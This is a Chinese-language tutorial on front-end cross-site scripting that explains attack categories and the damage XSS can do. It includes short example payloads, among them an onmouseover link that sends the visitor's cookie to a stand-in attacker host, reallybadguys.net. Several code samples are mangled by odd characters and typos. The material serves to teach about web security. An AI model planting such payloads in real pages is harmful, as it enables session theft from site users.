前端xss攻击的原理
概念說明
Xss(cross-site scripting)攻擊指的是攻擊者往Web頁(yè)面里插入惡意html標(biāo)簽或者javascript代碼,當(dāng)用戶瀏覽該頁(yè)或者進(jìn)行某些操作時(shí),攻擊者利用用戶對(duì)原網(wǎng)站的信任,誘騙用戶或?yàn)g覽器執(zhí)行一些不安全的操作或者向其它網(wǎng)站提交用戶的私密信息。
比如:攻擊者在論壇中放一個(gè)看似安全的鏈接,騙取用戶點(diǎn)擊后,竊取cookie中的用戶私密信息;或者攻擊者在論壇中加一個(gè)惡意表單,當(dāng)用戶提交表單的時(shí)候,卻把信息傳送到攻擊者的服務(wù)器中,而不是用戶原本以為的信任站點(diǎn)。
諸如此類,唯一能完全杜絕xss攻擊的方法,就是禁用script,img等,顯然這是不靠譜的,用戶需要豐富的頁(yè)面內(nèi)容;當(dāng)然我們可以用一些方法預(yù)防xss攻擊,盡量減少xss造成的危害。
XSS攻擊的危害包括:
盜取各類用戶帳號(hào),如機(jī)器登錄帳號(hào)、用戶網(wǎng)銀帳號(hào)、各類管理員帳號(hào)
控制企業(yè)數(shù)據(jù),包括讀取、篡改、添加、刪除企業(yè)敏感數(shù)據(jù)的能力
盜竊企業(yè)重要的具有商業(yè)價(jià)值的資料
非法轉(zhuǎn)賬
強(qiáng)制發(fā)送電子郵件
網(wǎng)站掛馬
控制受害者機(jī)器向其它網(wǎng)站發(fā)起攻擊
舉例:
<body background=”javascript:alert(‘xss webjiaocheng!’)”>
<iframe src=javascript:alert(‘xss webjiaocheng!’)”>
<body οnlοad=”a();”><script>function a(){alert(‘xss webjiaocheng!’)”></script></body>
xss攻擊分類:
分類方法一
xss攻擊分為兩類:從其它站點(diǎn)到應(yīng)用站點(diǎn)的攻擊、從應(yīng)用站點(diǎn)到同站或其它站點(diǎn)的攻擊。
從其它站點(diǎn)到應(yīng)用站點(diǎn)的攻擊:故名思義,這種攻擊是由外部發(fā)起的,來自email或其它站點(diǎn)。這種攻擊在用戶點(diǎn)擊鏈接,下載圖片或者提交表單的時(shí)候,對(duì)應(yīng)用網(wǎng)站進(jìn)行了意想之外的操作。
通常用戶登錄后會(huì)得到一個(gè)可用session,xss攻擊者可以利用這個(gè)session,越過用戶驗(yàn)證,進(jìn)行一些不安全的操作,如下:
<a href = “http:// www.2cto.com /addComment.php?subject = I am owned” >Check it out!</a>
通過這個(gè)鏈接,只要用戶登錄了,就會(huì)發(fā)送一個(gè)subject,即使在其它網(wǎng)站上。
正因如此,一般的郵箱客戶端不會(huì)自動(dòng)從不信任的網(wǎng)站上加載圖片(因?yàn)榭紤]到可以通過img的src屬性向第三方站點(diǎn)發(fā)送GET請(qǐng)求);另外,可以設(shè)置session的過期時(shí)間,讓session自動(dòng)失效。
從應(yīng)用站點(diǎn)到同站或其它站點(diǎn)的攻擊:這種攻擊,通常是攻擊者在應(yīng)用站點(diǎn)上通過發(fā)表評(píng)論,或者其它方式嵌入代碼,當(dāng)用戶加載頁(yè)面或者點(diǎn)擊鏈接就會(huì)產(chǎn)生一些意想之外的操作。
如下:
<a href=”#” onmouseover = “window.location ='http://reallybadguys.net/collectCookie.php?cookie =' + documentcookie.escape();” >Check it out!</a>
當(dāng)用戶滑過鏈接,就會(huì)將cookie信息發(fā)到攻擊者的服務(wù)器上。
分類方法二
xss的另一種分類方法(個(gè)人感覺更清楚),將xss攻擊分為兩種:
類型A:本地利用漏洞,這種漏洞存在于頁(yè)面中客戶端腳本自身。
其攻擊過程如下:
A給B發(fā)送一個(gè)惡意構(gòu)造了Web的URL。B點(diǎn)擊并查看了這個(gè)URL。
惡意頁(yè)面中的JavaScript打開一個(gè)具有漏洞的HTML頁(yè)面并將其安裝在Bob電腦上。具有漏洞的HTML頁(yè)面包含了在B電腦本地域執(zhí)行的JavaScript。
A的惡意腳本可以在Bob的電腦上執(zhí)行B所持有的權(quán)限下的命令。
類型B:反射式漏洞
這種漏洞和類型A有些類似,不同的是Web客戶端使用Server端腳本生成頁(yè)面為用戶提供數(shù)據(jù)時(shí),如果未經(jīng)驗(yàn)證的用戶數(shù)據(jù)被包含
在頁(yè)面中而未經(jīng)HTML實(shí)體編碼,客戶端代碼便能夠注入到動(dòng)態(tài)頁(yè)面中。
總結(jié)
以上是生活随笔為你收集整理的前端xss攻击的原理的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [云炬创业基础笔记]第二章创业者测试7
- 下一篇: [云炬创业基础笔记]第二章创业者测试8